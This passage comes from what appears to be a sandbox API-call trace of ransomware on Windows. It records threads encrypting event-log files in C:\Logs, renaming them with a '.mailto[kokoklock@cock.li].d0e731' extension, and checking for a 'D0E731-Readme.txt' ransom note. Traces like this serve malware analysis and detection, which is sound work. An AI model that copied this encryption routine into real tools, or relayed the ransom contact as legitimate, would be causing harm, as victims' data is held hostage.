BaseAddress=0x2fab988) returned 1 [0164.655] CloseHandle (hObject=0x4a0) returned 1 [0164.655] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf8) returned 0x2f84a18 [0164.655] wcscpy (in: _Dest=0x2f84a18, _Source="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.655] wcscat (in: _Dest=0x2f84a18, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.655] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.656] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.656] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84a18) returned 1 [0164.656] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.656] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0164.656] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.656] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.656] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.656] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0164.656] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969a8) returned 1 [0164.656] RtlExitUserThread (Status=0x1) Thread: id = 1532 os_tid = 0xecc [0164.658] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.658] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.658] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.659] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x6defef0 | out: lpFileSize=0x6defef0*=69824) returned 1 [0164.659] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.659] ReadFile (in: hFile=0x4a0, lpBuffer=0x6defec4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6defec0, lpOverlapped=0x0 | out: lpBuffer=0x6defec4*, lpNumberOfBytesRead=0x6defec0*=0x4, lpOverlapped=0x0) returned 1 [0164.660] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.660] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7f8 [0164.660] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab758 [0164.660] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8e8 [0164.660] NtQuerySystemTime (in: CurrentTime=0x6defe9c | out: CurrentTime=0x6defe9c*=132121213219747251) returned 0x0 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x4b182338 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0xe8fc7ceb [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x71601750 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x8e8dbabe [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x7fa45a5f [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0xcbd6a29e [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0xcc7148c8 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x12cf5136 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x4562fe1 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x6d26fe60 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0xab001481 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x2428feb8 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0xd249c844 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0xb0d6ecac [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0xa3a416dc [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x3af1253c [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x4f129cef [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x46256cc3 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x875183fa [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x817c3902 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x8bbf187 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x44b7f88c [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0xde455846 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x52f3f568 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x4165b3b8 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0xb0eaf34b [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x439f7e86 [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0xde502b8f [0164.660] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0x814fa68b [0164.661] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0xf64cb402 [0164.661] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0xc1f06ec6 [0164.661] RtlRandom (in: Seed=0x6defea8 | out: Seed=0x6defea8) returned 0xad247bb4 [0164.669] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab780 [0164.671] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0164.671] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab820 [0164.671] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0164.671] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7f8) returned 1 [0164.671] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.671] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.671] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6defe74, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x6defe74*=0x4096, lpOverlapped=0x0) returned 1 [0164.672] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0164.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0164.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.672] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab960) returned 1 [0164.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.673] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0164.673] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab848 [0164.673] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab848) returned 1 [0164.673] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0164.673] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0164.673] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6defe74, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x6defe74*=0x4096, lpOverlapped=0x0) returned 1 [0164.673] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.673] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.673] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab8c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6defeac, lpOverlapped=0x0 | out: lpBuffer=0x2fab8c0*, lpNumberOfBytesWritten=0x6defeac*=0x20, lpOverlapped=0x0) returned 1 [0164.673] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0164.673] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.674] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab820*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6defec0, lpOverlapped=0x0 | out: lpBuffer=0x2fab820*, lpNumberOfBytesWritten=0x6defec0*=0x8, lpOverlapped=0x0) returned 1 [0164.674] WriteFile (in: hFile=0x4a0, lpBuffer=0x6defed8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6defec0, lpOverlapped=0x0 | out: lpBuffer=0x6defed8*, lpNumberOfBytesWritten=0x6defec0*=0x4, lpOverlapped=0x0) returned 1 [0164.674] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6defec0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x6defec0*=0x4, lpOverlapped=0x0) returned 1 [0164.674] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6defec0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x6defec0*=0x6c, lpOverlapped=0x0) returned 1 [0164.674] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab758*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6defec0, lpOverlapped=0x0 | out: lpBuffer=0x2fab758*, lpNumberOfBytesWritten=0x6defec0*=0x20, lpOverlapped=0x0) returned 1 [0164.674] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6defec0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x6defec0*=0x4, lpOverlapped=0x0) returned 1 [0164.674] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab758) returned 1 [0164.674] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab780) returned 1 [0164.674] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab820) returned 1 [0164.674] CloseHandle (hObject=0x4a0) returned 1 [0164.675] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x2f6ab60 [0164.675] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.675] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.675] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.675] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.676] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0164.676] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.676] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806e0 [0164.676] wcscpy (in: _Dest=0x2f806e0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.676] wcscat (in: _Dest=0x2f806e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.676] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.676] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806e0) returned 1 [0164.676] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7db28) returned 1 [0164.676] RtlExitUserThread (Status=0x1) Thread: id = 1533 os_tid = 0xed0 [0164.680] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.680] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.681] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.681] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x6e6fe78 | out: lpFileSize=0x6e6fe78*=69824) returned 1 [0164.681] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.681] ReadFile (in: hFile=0x4a0, lpBuffer=0x6e6fe4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6e6fe48, lpOverlapped=0x0 | out: lpBuffer=0x6e6fe4c*, lpNumberOfBytesRead=0x6e6fe48*=0x4, lpOverlapped=0x0) returned 1 [0164.682] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.682] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0164.682] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.682] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab9b0 [0164.682] NtQuerySystemTime (in: CurrentTime=0x6e6fe24 | out: CurrentTime=0x6e6fe24*=132121213219903323) returned 0x0 [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x28586124 [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x5e3288b7 [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x5a3f1af2 [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0xa40ee722 [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x1856fb1a [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x63de47f7 [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x26dabf51 [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x7de8be0d [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0xfb60a30c [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0xe09cd4eb [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x809bda9f [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x30deb957 [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0xc52cebce [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x17a0e5e4 [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x7d3906e0 [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0xc705342c [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0xf9941ca0 [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x47ce5dad [0164.682] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0xb63ec926 [0164.683] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0xd55787a2 [0164.683] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0xb32a696 [0164.683] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x9f159990 [0164.683] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x7324b27 [0164.683] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0xfdf1d30f [0164.683] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x7a256846 [0164.683] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0xa2f707e [0164.683] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x30b2d822 [0164.683] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x574dbd0d [0164.683] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x6e73684b [0164.683] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0xb8b8c057 [0164.683] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x667a716e [0164.683] RtlRandom (in: Seed=0x6e6fe30 | out: Seed=0x6e6fe30) returned 0x697b754f [0164.691] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7f8 [0164.693] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0164.693] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab910 [0164.693] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0164.693] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0164.693] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.693] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.693] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6e6fdfc, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x6e6fdfc*=0x4096, lpOverlapped=0x0) returned 1 [0164.694] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.694] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0164.694] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0164.694] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0164.694] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7a8) returned 1 [0164.695] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.695] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0164.695] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab758 [0164.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab758) returned 1 [0164.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0164.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0164.695] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6e6fdfc, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x6e6fdfc*=0x4096, lpOverlapped=0x0) returned 1 [0164.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.695] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.695] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab7a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6e6fe34, lpOverlapped=0x0 | out: lpBuffer=0x2fab7a8*, lpNumberOfBytesWritten=0x6e6fe34*=0x20, lpOverlapped=0x0) returned 1 [0164.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7a8) returned 1 [0164.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.696] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab910*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6e6fe48, lpOverlapped=0x0 | out: lpBuffer=0x2fab910*, lpNumberOfBytesWritten=0x6e6fe48*=0x8, lpOverlapped=0x0) returned 1 [0164.696] WriteFile (in: hFile=0x4a0, lpBuffer=0x6e6fe60*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6e6fe48, lpOverlapped=0x0 | out: lpBuffer=0x6e6fe60*, lpNumberOfBytesWritten=0x6e6fe48*=0x4, lpOverlapped=0x0) returned 1 [0164.696] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6e6fe48, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x6e6fe48*=0x4, lpOverlapped=0x0) returned 1 [0164.696] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6e6fe48, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x6e6fe48*=0x6c, lpOverlapped=0x0) returned 1 [0164.696] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab960*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6e6fe48, lpOverlapped=0x0 | out: lpBuffer=0x2fab960*, lpNumberOfBytesWritten=0x6e6fe48*=0x20, lpOverlapped=0x0) returned 1 [0164.696] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6e6fe48, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x6e6fe48*=0x4, lpOverlapped=0x0) returned 1 [0164.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab960) returned 1 [0164.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7f8) returned 1 [0164.697] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab910) returned 1 [0164.697] CloseHandle (hObject=0x4a0) returned 1 [0164.697] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f85918 [0164.697] wcscpy (in: _Dest=0x2f85918, _Source="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.697] wcscat (in: _Dest=0x2f85918, 